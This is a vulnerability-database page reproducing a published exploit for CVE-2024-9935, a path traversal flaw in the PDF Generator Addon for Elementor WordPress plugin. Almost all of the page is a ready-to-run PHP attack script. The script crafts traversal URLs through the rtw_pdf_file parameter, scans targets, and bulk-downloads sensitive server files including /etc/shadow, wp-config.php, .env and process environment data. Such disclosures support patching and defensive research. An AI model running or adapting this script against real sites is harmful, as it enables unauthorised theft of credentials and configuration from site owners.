Lucene search
K

📄 WordPress PDF Generator Addon for Elementor Page Builder 1.75 Traversal

🗓️ 02 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 107 Views

Critical unauthenticated path traversal in PDF Generator Addon up to 1.7.5 enables file access.

Related
Code
=============================================================================================================================================
    | # Title     : WordPress PDF Generator Addon for Elementor Page Builder 1.75 Path Traversal                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/pdf-generator-addon-for-elementor/                                                            |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/183286/ & CVE-2024-9935
    
    
    [+] Summary :
    
    A critical unauthenticated arbitrary file download vulnerability exists in the PDF Generator Addon for Elementor plugin versions 1.7.5 and earlier. 
    The vulnerability allows attackers to download any file from the server filesystem through path traversal in the PDF generation endpoint.
    The vulnerability exists in the PDF Generator Addon for Elementor plugin's file handling mechanism. 
    The plugin fails to properly validate and sanitize user input in the `rtw_pdf_file` parameter, allowing attackers to perform directory traversal and access arbitrary files outside the intended directory.
    
    Vulnerable Code Pattern:
    
    
    // In PDF generation component (conceptual)
    $pdf_file = $_GET['rtw_pdf_file'];
    $generate_pdf = $_GET['rtw_generate_pdf'];
    
    if ($generate_pdf === 'true') {
        // No path validation or sanitization
        $file_path = $some_base_path . $pdf_file;
        
        // File is read and served without access checks
        $content = file_get_contents($file_path);
        header('Content-Type: application/pdf');
        echo $content;
    }
    		
    [+] Usage: 
    
    # Vulnerability Scan
    
    php exploit.php https://example.com --scan
    
    # View File Directly
    
    php exploit.php https://example.com/etc/passwd view
    
    # Download File
    
    php exploit.php https://example.com wp-config.php download
    
    # Test Common Files
    
    php exploit.php https://example.com --common
    
    [+] POC :
    
    <?php
    /**
     * CVE-2024-9935 Exploit - PDF Generator Addon for Elementor Arbitrary File Download
     * By: indoushka
     * Converted from Bash to PHP
     */
    
    class PDFGeneratorExploit {
        private $colors;
        
        public function __construct() {
            $this->colors = [
                'RED'     => "\033[1;31m",
                'GREEN'   => "\033[1;32m",
                'YELLOW'  => "\033[1;33m",
                'BLUE'    => "\033[1;34m",
                'MAGENTA' => "\033[1;35m",
                'CYAN'    => "\033[1;36m",
                'WHITE'   => "\033[1;37m",
                'NC'      => "\033[0m"
            ];
        }
        
        private function color($text, $color) {
            return $this->colors[$color] . $text . $this->colors['NC'];
        }
        
        private function showBanner() {
            $banner = $this->color("
    
    ", 'CYAN') . 
    $this->color("
    
    ", 'MAGENTA') .
    $this->color("\n        CVE-2024-9935 - PDF Generator Arbitrary File Download\n", 'RED') .
    $this->color("                    @indoushka\n\n", 'WHITE');
    
            echo $banner;
        }
        
        private function urlEncode($string) {
            $encoded = '';
            $length = strlen($string);
            
            for ($i = 0; $i < $length; $i++) {
                $c = $string[$i];
                if (preg_match('/[a-zA-Z0-9.~_-]/', $c)) {
                    $encoded .= $c;
                } else {
                    $encoded .= '%' . strtoupper(dechex(ord($c)));
                }
            }
            
            return $encoded;
        }
        
        private function makeRequest($url, $saveToFile = false) {
            $contextOptions = [
                'http' => [
                    'method' => 'GET',
                    'timeout' => 10,
                    'ignore_errors' => true,
                    'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                ]
            ];
            
            $context = stream_context_create($contextOptions);
            
            if ($saveToFile) {
                $content = @file_get_contents($url, false, $context);
                
                if ($content === false) {
                    return ['success' => false, 'error' => 'Request failed'];
                }
                
                // Get HTTP status code
                $statusCode = 0;
                if (isset($http_response_header[0])) {
                    preg_match('/HTTP\/\d\.\d\s+(\d+)/', $http_response_header[0], $matches);
                    $statusCode = isset($matches[1]) ? (int)$matches[1] : 0;
                }
                
                return [
                    'success' => true,
                    'status_code' => $statusCode,
                    'content' => $content
                ];
            } else {
                $response = @file_get_contents($url, false, $context);
                
                if ($response === false) {
                    return ['success' => false, 'error' => 'Request failed'];
                }
                
                $statusCode = 0;
                if (isset($http_response_header[0])) {
                    preg_match('/HTTP\/\d\.\d\s+(\d+)/', $http_response_header[0], $matches);
                    $statusCode = isset($matches[1]) ? (int)$matches[1] : 0;
                }
                
                return [
                    'success' => true,
                    'status_code' => $statusCode,
                    'content' => $response
                ];
            }
        }
        
        public function exploit($targetUrl, $filePath, $action) {
            $this->showBanner();
            
            // Validate target URL
            if (!filter_var($targetUrl, FILTER_VALIDATE_URL)) {
                echo $this->color("[-] Invalid target URL", 'RED') . "\n";
                exit(1);
            }
            
            $targetUrl = rtrim($targetUrl, '/');
            
            echo $this->color("[*] Target: ", 'BLUE') . $targetUrl . "\n";
            echo $this->color("[*] File to download: ", 'BLUE') . $filePath . "\n";
            echo $this->color("[*] Action: ", 'BLUE') . $action . "\n\n";
            
            // URL encode the file path
            $encodedFilePath = $this->urlEncode($filePath);
            
            // Craft the exploit URL with path traversal
            $exploitUrl = $targetUrl . '/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f' . $encodedFilePath;
            
            echo $this->color("[*] Attempting to exploit CVE-2024-9935...", 'YELLOW') . "\n";
            echo $this->color("[*] Exploit URL: ", 'CYAN') . $exploitUrl . "\n\n";
            
            if ($action === 'download') {
                $response = $this->makeRequest($exploitUrl, false);
                
                if (!$response['success']) {
                    echo $this->color("[-] Exploit failed: " . $response['error'], 'RED') . "\n";
                    return;
                }
                
                if ($response['status_code'] === 200 && !empty($response['content'])) {
                    $filename = basename($filePath);
                    if (file_put_contents($filename, $response['content']) !== false) {
                        echo $this->color("[+] Exploit successful! File saved as '", 'GREEN') . $filename . "'\n";
                        echo $this->color("[+] File size: ", 'GREEN') . strlen($response['content']) . " bytes\n";
                    } else {
                        echo $this->color("[-] Failed to save file", 'RED') . "\n";
                    }
                } else {
                    echo $this->color("[-] Exploit failed. HTTP Response Code: " . $response['status_code'], 'RED') . "\n";
                }
                
            } elseif ($action === 'view') {
                $response = $this->makeRequest($exploitUrl, false);
                
                if (!$response['success']) {
                    echo $this->color("[-] Exploit failed: " . $response['error'], 'RED') . "\n";
                    return;
                }
                
                if ($response['status_code'] === 200 && !empty($response['content'])) {
                    echo $this->color("[+] Exploit successful! File content:", 'GREEN') . "\n";
                    echo $this->color(str_repeat("=", 60), 'CYAN') . "\n";
                    echo $response['content'] . "\n";
                    echo $this->color(str_repeat("=", 60), 'CYAN') . "\n";
                    echo $this->color("[+] File size: ", 'GREEN') . strlen($response['content']) . " bytes\n";
                } else {
                    echo $this->color("[-] File not found or empty. HTTP Code: " . $response['status_code'], 'RED') . "\n";
                }
                
            } else {
                echo $this->color("[-] Invalid action: '" . $action . "'. Use 'download' or 'view'.", 'RED') . "\n";
                exit(1);
            }
        }
        
        public function scan($targetUrl) {
            $this->showBanner();
            
            $targetUrl = rtrim($targetUrl, '/');
            
            echo $this->color("[*] Scanning target for PDF Generator Addon vulnerability: ", 'BLUE') . $targetUrl . "\n\n";
            
            // Test common files
            $testFiles = [
                '/etc/passwd' => 'System passwd file',
                '/wp-config.php' => 'WordPress configuration',
                '../../../../wp-config.php' => 'WordPress config (relative)'
            ];
            
            $vulnerable = false;
            
            foreach ($testFiles as $file => $description) {
                echo $this->color("[*] Testing: ", 'YELLOW') . $description . " (" . $file . ")\n";
                
                $encodedFile = $this->urlEncode($file);
                $testUrl = $targetUrl . '/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f' . $encodedFile;
                
                $response = $this->makeRequest($testUrl, false);
                
                if ($response['success'] && $response['status_code'] === 200) {
                    // Check if we got meaningful content
                    if (!empty($response['content']) && strlen($response['content']) > 10) {
                        echo $this->color("[+] File accessible: " . $description, 'GREEN') . "\n";
                        $vulnerable = true;
                        
                        // Show preview for confirmation
                        $preview = substr($response['content'], 0, 100);
                        echo $this->color("[+] Preview: ", 'CYAN') . $preview . "...\n";
                    }
                } else {
                    echo $this->color("[-] File not accessible", 'RED') . "\n";
                }
                echo "\n";
            }
            
            if ($vulnerable) {
                echo $this->color("[+] TARGET IS VULNERABLE to CVE-2024-9935!", 'RED') . "\n";
            } else {
                echo $this->color("[-] Target does not appear to be vulnerable", 'GREEN') . "\n";
            }
            
            return $vulnerable;
        }
        
        public function commonFiles($targetUrl) {
            $this->showBanner();
            
            $targetUrl = rtrim($targetUrl, '/');
            
            echo $this->color("[*] Testing common sensitive files: ", 'BLUE') . $targetUrl . "\n\n";
            
            $commonFiles = [
                '/etc/passwd' => 'System user database',
                '/etc/shadow' => 'System password hashes',
                '/etc/hosts' => 'System hosts file',
                '/wp-config.php' => 'WordPress configuration',
                '../../../wp-config.php' => 'WordPress config (traversal)',
                '/.env' => 'Environment configuration',
                '/.htaccess' => 'Apache configuration',
                '/etc/nginx/nginx.conf' => 'Nginx configuration',
                '/proc/self/environ' => 'Process environment',
                '/etc/mysql/my.cnf' => 'MySQL configuration'
            ];
            
            foreach ($commonFiles as $file => $description) {
                echo $this->color("[*] Testing: ", 'YELLOW') . $description . "\n";
                
                $encodedFile = $this->urlEncode($file);
                $testUrl = $targetUrl . '/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f' . $encodedFile;
                
                $response = $this->makeRequest($testUrl, false);
                
                if ($response['success'] && $response['status_code'] === 200 && !empty($response['content'])) {
                    echo $this->color("[+] ACCESSIBLE: " . $description, 'GREEN') . "\n";
                    echo $this->color("[+] Size: " . strlen($response['content']) . " bytes", 'CYAN') . "\n";
                    
                    // Save file
                    $filename = 'download_' . str_replace('/', '_', $file);
                    file_put_contents($filename, $response['content']);
                    echo $this->color("[+] Saved as: " . $filename, 'CYAN') . "\n";
                    
                    // Show preview
                    $preview = substr($response['content'], 0, 200);
                    echo $this->color("[+] Preview: ", 'CYAN') . $preview . "\n";
                } else {
                    echo $this->color("[-] Not accessible", 'RED') . "\n";
                }
                echo "\n";
            }
        }
    }
    
    // Main execution
    if (php_sapi_name() === 'cli') {
        if ($argc < 2) {
            echo "CVE-2024-9935 - PDF Generator Addon Arbitrary File Download\n";
            echo "Usage:\n";
            echo "  php exploit.php <target_url> <file_path> <action>\n";
            echo "  php exploit.php <target_url> --scan\n";
            echo "  php exploit.php <target_url> --common\n";
            echo "\nExamples:\n";
            echo "  php exploit.php https://example.com /etc/passwd view\n";
            echo "  php exploit.php https://example.com wp-config.php download\n";
            echo "  php exploit.php https://example.com --scan\n";
            echo "  php exploit.php https://example.com --common\n";
            echo "\nDescription:\n";
            echo "  Exploits arbitrary file download in PDF Generator Addon for Elementor <= 1.7.5\n";
            echo "  via path traversal in rtw_pdf_file parameter\n";
            exit(1);
        }
        
        $target = $argv[1];
        $filePath = $argv[2] ?? '';
        $action = $argv[3] ?? '';
        
        $exploit = new PDFGeneratorExploit();
        
        if ($filePath === '--scan') {
            $exploit->scan($target);
        } elseif ($filePath === '--common') {
            $exploit->commonFiles($target);
        } else {
            if (empty($filePath) || empty($action)) {
                echo "Error: File path and action are required\n";
                exit(1);
            }
            $exploit->exploit($target, $filePath, $action);
        }
    } else {
        echo "This script is intended for command line use only.\n";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.17.5
EPSS0.93824
SSVC
107